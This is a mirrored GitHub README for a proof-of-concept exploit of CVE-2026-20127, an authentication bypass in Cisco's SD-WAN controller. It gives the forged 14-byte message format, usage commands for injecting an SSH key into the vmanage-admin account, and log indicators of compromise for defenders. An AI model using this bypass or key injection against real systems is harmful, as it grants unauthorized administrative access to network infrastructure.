sfewer-r7/CVE-2026-20127

GitHub: sfewer-r7/CVE-2026-20127

针对 Cisco Catalyst SD-WAN Controller DTLS 认证绕过漏洞(CVE-2026-20127)的概念验证工具,可绕过证书验证并注入 SSH 密钥获取 NETCONF 访问权限。

Stars: 0 | Forks: 0

# CVE-2026-20127 ## 概述 针对 Cisco Catalyst SD-WAN Controller 认证绕过漏洞 CVE-2026-20127 的漏洞利用程序。 该漏洞利用程序针对 `vbond_proc_challenge_ack_ack()` 处理程序。它发送一个伪造的 `CHALLENGE_ACK_ACK` 消息(msg_type=10),其中包含攻击者控制的 `verify_status=1` 字节,直接强制服务器将对端条目上的 `authenticated` 设置为 1。 ### 工作原理 在正常的 DTLS 控制平面握手过程中: 1. 客户端使用证书通过 DTLS 连接 2. 服务器发送 `CHALLENGE`(msg_type=8) 3. 客户端回复包含证书数据的 `CHALLENGE_ACK`(msg_type=9) 4. 服务器验证证书并发送带有 `verify_status=1` 的 `CHALLENGE_ACK_ACK`(msg_type=10) 此漏洞利用程序缩短了该流程: 1. 客户端使用**自签名**证书通过 DTLS 连接 2. 服务器发送 `CHALLENGE` 3. 客户端直接发送带有 `verify_status=1` 的 `CHALLENGE_ACK_ACK`(msg_type=10) 4. 服务器的 `vbond_proc_challenge_ack_ack()` 从消息体中读取 `verify_status` —— 这是由攻击者控制的 5. 由于 `verify_status != 0`,服务器设置 `authenticated=1`(`*(BYTE*)(a2+70) = 1`) `vbond_proc_msg()` 中的认证关口**豁免**了 msg_type=10 的认证检查,因此即使对端尚未通过认证,此攻击也能成功。 经测试,该漏洞利用程序对 Cisco Catalyst SD-WAN Controller(即 vSmart)版本 `20.15.3` 有效。 经测试,该漏洞利用程序对已修补的 Cisco Catalyst SD-WAN Controller(即 vSmart)版本 `20.12.6.1` 无效。 ## 用法 ``` Usage: ./bin/vdaemon_exploit TARGET [options] vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127) This exploit targets the vbond_proc_challenge_ack_ack() handler. It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing the server to set authenticated=1 without certificate verification. -p, --port PORT DTLS port (default: 12346) --inject-key Generate and inject SSH key into vmanage-admin authorized_keys --ssh-key PUBKEY_FILE Path to SSH public key file to inject --cert CERT_FILE Path to PEM certificate file for DTLS handshake --cert-key KEY_FILE Path to PEM private key file for DTLS handshake (used with --cert) --data-dir DIR Directory for generated keys/certs (default: ./data/) Examples: ./bin/vdaemon_exploit 192.168.86.166 ./bin/vdaemon_exploit 192.168.86.166 --inject-key ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem ``` ## 示例 ``` # 安装依赖 bundle install # 运行 exploit - 测试 auth bypass ruby ./bin/vdaemon_exploit 192.168.86.166 # 运行 exploit - 利用 auth bypass 注入 SSH key ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key # 利用 SSH key - 以 vmanage-admin 身份登录 NETCONF ssh -i ./data/ssh/attacker_ssh_20260306_141607 vmanage-admin@192.168.86.166 -p 830 ``` 以下屏幕截图显示了成功利用漏洞及随后通过 SSH 访问 NETCONF 服务的情况: ![CVE-2026-20127 Example](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f0377bfeef001935.png) ## 技术细节 ### 漏洞函数:`vbond_proc_challenge_ack_ack()` 位于 vdaemon(20.12.5)中的地址 `0x38AB7`。该函数处理传入的 `CHALLENGE_ACK_ACK` 消息,并具有以下关键检查: 1. **重复检查**(`a2+112`):如果已经为此对端处理过 `CHALLENGE_ACK_ACK`,则拒绝。第一次通过时,此计数器为 0 → 通过。 2. **vBond 拒绝**(`a1+8 == 4`):如果本地设备是 vBond,则返回 20。我们的目标是 vSmart(type=3)→ 通过。 3. **定时器创建**:创建 hello-timer 和 expiry-timer。不太可能失败 → 通过。 4. **verify_status**(`a3+32`):读取消息体的第一个字节。如果为零 → 拒绝路径(对端删除)。如果非零 → 设置 `*(BYTE*)(a2+70) = 1`(已认证)。 关键缺陷:`verify_status` 直接来自攻击者控制的消息体,没有服务器端验证。该函数信任对端关于验证状态的声明。 ### 认证关口豁免 在 `vbond_proc_msg()` 中,阻止未认证对端发送大多数消息类型的认证关口显式豁免了 `msg_type=10`(`CHALLENGE_ACK_ACK`)。这对于合法的协议流程是必要的(服务器在认证完成之前向客户端发送 ACK_ACK),但也允许攻击者向服务器发送伪造的 ACK_ACK。 ### 线上格式 该漏洞利用程序发送一个 14 字节的消息: ``` Header (12 bytes): Byte 0: 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK) Byte 1: 0x30 (device_type=3/vSmart << 4) Byte 2: 0xA0 (flags) Byte 3: 0x00 (reserved) Bytes 4-7: domain_id (big-endian u32, default: 1) Bytes 8-11: site_id (big-endian u32, default: 100) Body (2 bytes): Byte 0: 0x01 (verify_status = 1 / TRUE) Byte 1: 0x00 (reserved) ``` ## IOC(入侵指标) 在此示例中,目标是 Cisco Catalyst SD-WAN Controller(即 vSmart)版本 `20.15.3`。目标 IP 地址为 `192.168.86.166`,攻击者 IP 地址为 `192.168.86.35`。 日志文件 `/var/log/vsyslog` 记录了以下消息: ``` Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24 Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24 ``` 日志文件 `/var/log/vdebug` 记录了以下消息: ``` Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD " Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260 Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0 Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up generated-at:3-9-2026T15:2:12 Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6 Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134 Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6 Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134 Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0 Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24 Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24 ``` 成功利用该漏洞后,远程攻击者可以利用新上传的 `vmanage-admin` 用户 SSH 密钥,通过 TCP 端口 830 上的 SSH 登录 NETCONF 服务。日志文件 `/var/log/auth.log` 记录了以下消息: ``` Mar 9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo Mar 9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0) ```
标签:Catalyst, CISA项目, Cisco, CVE-2026-20127, DTLS, Exploit, PoC, SD-WAN, SSH注入, vBond, vSmart, 协议攻击, 握手劫持, 暴力破解, 未授权访问, 编程工具, 网络安全, 网络渗透, 自签名证书, 认证绕过, 远程代码执行, 逻辑漏洞, 隐私保护